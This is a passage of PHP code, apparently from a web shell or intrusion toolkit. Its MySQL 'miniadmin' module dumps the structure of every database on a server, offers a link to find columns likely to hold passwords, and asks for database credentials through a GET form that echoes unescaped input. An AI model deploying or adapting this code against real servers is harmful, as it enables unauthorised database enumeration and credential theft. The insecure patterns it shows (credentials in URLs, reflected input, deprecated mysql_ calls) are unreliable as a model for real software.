1327 $dbprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('dbprefix'));
1328 $onlywithprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('onlywithprefix'));
1329 $getdatabases = mysql_list_dbs();
1330 if($onlywithprefix ) echo "-- - Only tables with prefix: ".$onlywithprefix."\n";
1331 while ($db = mysql_fetch_row($getdatabases)) {
1332 if(!$onlywithprefix || substr($db[0],0,strtolower(strlen($onlywithprefix))) == strtolower($onlywithprefix)) {
1333 mysql_query("USE `".$db[0]."`");
1334 $gettables = mysql_query("SHOW TABLES");
1335 $tables = array();
1336 echo "-- - Database structure: ".get('h')." / ".$db[0]."\n-- - ".date('r')."\n";
1337 if($dbprefix) echo "-- - Added prefix: ".$dbprefix."\n";
1338 echo "CREATE DATABASE `".$dbprefix.$db[0]."`;\n";
1339 echo "USE `".$dbprefix.$db[0]."`;\n\n";
1340 while($table= mysql_fetch_row($gettables)) {
1341 gettablesql($table[0]);
1342 }
1343 } else {
1344 echo "-- - Skipping database: ".$db[0].", because of wrong prefix.\n";
1345 }
1346 }
1347 exit;
1348 break;
1349 }
1350 if(!get('shownone')) echo "<hr />";
1351 }
1352 if(!get('shownone')) echo '<b>General actions:</b> <br />[<a href="'.$url.'&a=findpwcols">Find columns probably containing passwords</a>] [<a href="'.$url.'&a=find">Search columns/tables</a>] [<a href="'.$url.'&a=dlsql&shownone=1">Download structure of all databases</a>]';
1353 } else {
1354 echo "<b>Error:</b> Could not connect to server (wrong pass?)<br />";
1355 $needlogin = 1;
1356 }
1357 } else $needlogin = 1;
1358 if(isset($needlogin)) {
1359 ?>
1360 <form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']); ?>">
1361 <input type="hidden" name="action" value="mysql" />
1362 <input type="hidden" name="type" value="miniadmin" />
1363 Host: <input type="text" name="h" value="<?php echo (get('h') ? get('h') : 'localhost'); ?>" /><br />
1364 MySQL user: <input type="text" name="u" value="<?php echo get('u') ?>" /><br />
1365 MySQL pass: <input type="text" name="p" value="<?php echo get('p') ?>" /><br />
1366 <input type="submit" value="Go!" />
1367 </form>
1368 <?php
1369 }
1370 break;
1371
1372 }
1373 break;
1374}
1375?>